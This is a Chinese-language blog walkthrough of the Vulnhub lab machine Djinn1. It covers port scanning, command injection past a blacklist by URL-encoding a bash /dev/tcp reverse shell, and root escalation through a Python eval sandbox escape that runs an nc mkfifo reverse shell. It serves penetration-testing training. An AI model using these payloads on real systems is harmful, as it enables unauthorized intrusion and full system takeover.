freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OSCP渗透靶场之Vulnhub-Djin1
2023-05-22 09:17:43
所属地 江西省

Djin1是Vulnhub难度中等偏上的靶机,渗透测试者或黑客在进行目标渗透时,往往会遇到各种安全设备和限制,学会如何绕过这些安全设备成为渗透测试者的”基本功“。本靶机就围绕黑名单的绕过进行打靶练习。

有兴趣的小伙伴可以下载试一下,Djinn1传送门

0x01 信息收集-reconnaissance

1.ftp匿名登录

首先,利用Nmap对目标ip进行信息收集。

nmap -sC -sV -p- -v -A 192.168.56.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-20 22:40 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:40
Completed NSE at 22:40, 0.00s elapsed
Initiating NSE at 22:40
Completed NSE at 22:40, 0.00s elapsed
Initiating NSE at 22:40
Completed NSE at 22:40, 0.00s elapsed
Initiating ARP Ping Scan at 22:40
Scanning 192.168.56.103 [1 port]
Completed ARP Ping Scan at 22:40, 0.06s elapsed (1 total hosts)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Initiating SYN Stealth Scan at 22:40
Scanning 192.168.56.103 [65535 ports]
Discovered open port 22/tcp on 192.168.56.103
Discovered open port 21/tcp on 192.168.56.103
Discovered open port 7331/tcp on 192.168.56.103
Discovered open port 1337/tcp on 192.168.56.103
Completed SYN Stealth Scan at 22:40, 5.11s elapsed (65535 total ports)
Initiating Service scan at 22:40
Scanning 4 services on 192.168.56.103
Completed Service scan at 22:42, 87.26s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.103
NSE: Script scanning 192.168.56.103.
Initiating NSE at 22:42
NSE: [ftp-bounce] Couldn't resolve scanme.nmap.org, scanning 10.0.0.1 instead.
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 22:42, 5.02s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 1.10s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Nmap scan report for 192.168.56.103
Host is up (0.00038s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
| -rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
|_-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.56.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
1337/tcp open  waste?
| fingerprint-strings: 
|   NULL: 
|     ____ _____ _ 
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     Let's see how good you are with simple maths
|     Answer my questions 1000 times and I'll give you your gift.
|     '-', 5)
|   RPCCheck: 
|     ____ _____ _ 
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ 
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     Let's see how good you are with simple maths
|     Answer my questions 1000 times and I'll give you your gift.
|_    '+', 6)
7331/tcp open  http       Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-title: Lost in space
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.93%I=7%D=5/20%Time=646984A9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1BC,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\
SF:x20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20
SF:__\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\
SF:x20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x
SF:20`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\
SF:x20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\
SF:|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\
SF:x20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\nLet's\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths
SF:\nAnswer\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20
SF:you\x20your\x20gift\.\n\(1,\x20'-',\x205\)\n>\x20")%r(RPCCheck,1BC,"\x2
SF:0\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x
SF:20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x
SF:20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x
SF:20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x2
SF:0\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20
SF:\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\_
SF:__\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nLet's\x2
SF:0see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\nAnswer\x2
SF:0my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20you\x20your
SF:\x20gift\.\n\(4,\x20'\+',\x206\)\n>\x20");
MAC Address: 08:00:27:0C:CE:72 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 11.975 days (since Mon May  8 23:17:43 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.38 ms 192.168.56.103

NSE: Script Post-scanning.
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.75 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

扫描结果发现开放21,22,1337,7331端口,发现21端口可以匿名访问,这里尝试访问ftp 192.168.56.102
1684637304_646986782f22d4bad3c09.png!small?1684637304591

下在creds.txt和game.txt文件1684637277_6469865dce8f552716ed1.png!small?1684637278114查看creds.txt和game.txt文件,并没有发现什么敏感信息。

2.尝试连接1337端口

利用telnet探目标IP的1337端口,发现是一个数字脑洞游戏,也没发现可利用价值的信息。

1684637532_6469875cc905c4fbf8558.png!small?1684637532881

3.目录扫描

我们对http://192.168.56.103:7331,访问结果如下:

1684637726_6469881e06abe89a244b8.png!small?1684637726144

在页面上没有发现敏感信息,故利用gobuster进行目录扫描。

1684640235_646991eb522accfcbbcf6.png!small?1684640235346

发现两个可以访问的链接/wish 和 /genie

1684640360_64699268d1cb32aaffc41.png!small?16846403608021684640393_64699289e5a32cc4cc7b0.png!small?1684640394152我们在 /wish输入id发现回显为”error 403",说明这里对输入的命令做了安全限制。

所以我们这里需要对输入的命令进行“加密或变形”,从而绕过限制。


bash -i >& /dev/tcp/192.168.56.102/6677 0>&1    进行url编码并在/wish界面执行

1684680166_646a2de6f131c62d2fafe.png!small?1684680165946

在/wish界面执行url编码后,kali主机成功反弹shell

1684681284_646a324418818e2953688.png!small?1684681282949

拿到目标shell后,开始进一步进行目标主机信息收集,发现一个名为app.py文件打开发现

nitish/p4ssw0rdStr3r0n9

尝试利用该用户密码登录nitish用户

1684715645_646ab87d2b05da260ce52.png!small?1684715644306

发现可以成功登录nitish用户

输入sudo -l命令,发现nitish用户可以不用密码以sam身份执行/user/bin/genie

1684715708_646ab8bc1ae3f0e0be203.png!small?1684715707307

尝试登录sam身份执行/user/bin/genie

命令如下:sudo -u sam /user/bin/genie -h

1684715881_646ab9693b73e3b85f4ff.png!small?1684715880498

逐一对genie所列出的参数进行尝试,并没有发现可利用的信息。

0x02 提权-利用python沙盒逃逸漏洞

在上小节中利用获取到的用户密码提权无果后,我们换一种思路尝试分析app.py文件的代码,分析发现

一直成功答对1000次可以获得p0rt5文件的内容,相反,若期间打错一次则会断开连接,另外,如果程序判定它输入的内容为非数字类型的答案,那么就断开连接。

在输入的过程中,发现并没有任何有过滤输入的防护措施,如输入


eval('__import__("os").system("id")')

1684717152_646abe60aa366c994df9a.png!small?1684717151901

可以发现,该命,该令成功执行,而且是root权限,这说明这个猜数字的游戏存在python沙盒逃逸漏洞。

因此,接下来构造具有反弹shell功能的python代码


eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.102 666 >/tmp/f")'),其中192.168.56.102为kali主机的ip,666为监听端口。

1684717383_646abf47b6e75f1b448cc.png!small?1684717383037

如上图所示,kali主机的666端口成功反弹来自目标主机的j具有root权限的shell,至此,提权成功。

0x03 总结

在本次渗透测试过程中,对于黑名单的命令行限制,我们对其进行了url编码,从而绕过限制,拿到目标的反弹shell,之后又通过python的沙盒逃逸漏洞成功提权。

# 渗透测试 # web安全 # 权限绕过 # vulnhub靶机 # OSCP
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录